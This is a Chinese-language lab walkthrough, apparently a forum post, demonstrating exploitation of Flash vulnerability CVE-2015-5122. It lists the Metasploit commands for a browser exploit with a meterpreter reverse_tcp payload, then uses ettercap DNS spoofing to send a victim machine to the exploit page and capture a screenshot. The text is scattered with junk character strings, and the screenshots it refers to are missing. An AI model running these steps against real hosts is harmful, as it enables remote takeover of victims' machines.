cve2015-5122漏洞实例演示虚拟机

admin

+ h" J9 {5 N7 G" ~* ^& X 二、cve2015-5122漏洞实例演示虚拟机 & s/ ^" ~; h5 l' h8 w6 @; _

3 H! q# V/ F5 B7 z7 f

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： & |, H! R, j4 v( C/ ^% \ ^- D

search cve-2015-5122如图：

' h$ l/ A3 f3 o7 M9 z L  

3 T0 l8 Q5 U7 p% w6 z! f

# I) Y w% q! A3 Q W5 ? 下面我们敲如下命令：

3 @ z( d+ ]- b9 }

3 f! {, H* m7 o0 R6 t- r use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp ( x m( C3 e4 Q9 V

0 i2 U" q1 R( E& I- L$ C

set LHOST 192.168.0.109 1 ]5 [9 M& R- I8 O

" [/ t1 G% R( @- [1 N set URIPATH /                        /*根目录*/

& d) b8 F/ f' U, g4 Q8 y5 a

, J: V1 N; U' M: F9 B set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址 % F6 d0 E5 k5 x- k" i

set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 / F" R% r6 V( ]! X2 n( F: R& Y

. P1 _1 O( s# S! C- V( ^8 ~) @ 然后show options如图：

1 e, }* \- B( u* g# n  

+ L* Z+ A% w# ?7 u1 n1 H/ v5 N/ a! f

. S. N. I5 W+ C: b' R( D 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
5 a& b! e* p2 r/ h% \! Z

然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 / Q, E1 m% w L; \+ v/ Z2 {6 R- L# d

5 C4 N$ d/ a5 a7 L: S- _ Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

% a$ U+ _0 J; y4 t. S& x( J7 Z

 

成功了，这时候我们断开ettercap，如图：

) ~: p; ^, a# X+ c# L+ a( H1 z

 

4 |: p- v& Y% w# K8 ? Screenshot如图：

+ B- o' Y2 j& g! C! q8 }  

% L. O7 h: D. \) u1 K

4 a, |9 d% _: D# U+ J" y7 V9 o+ M! @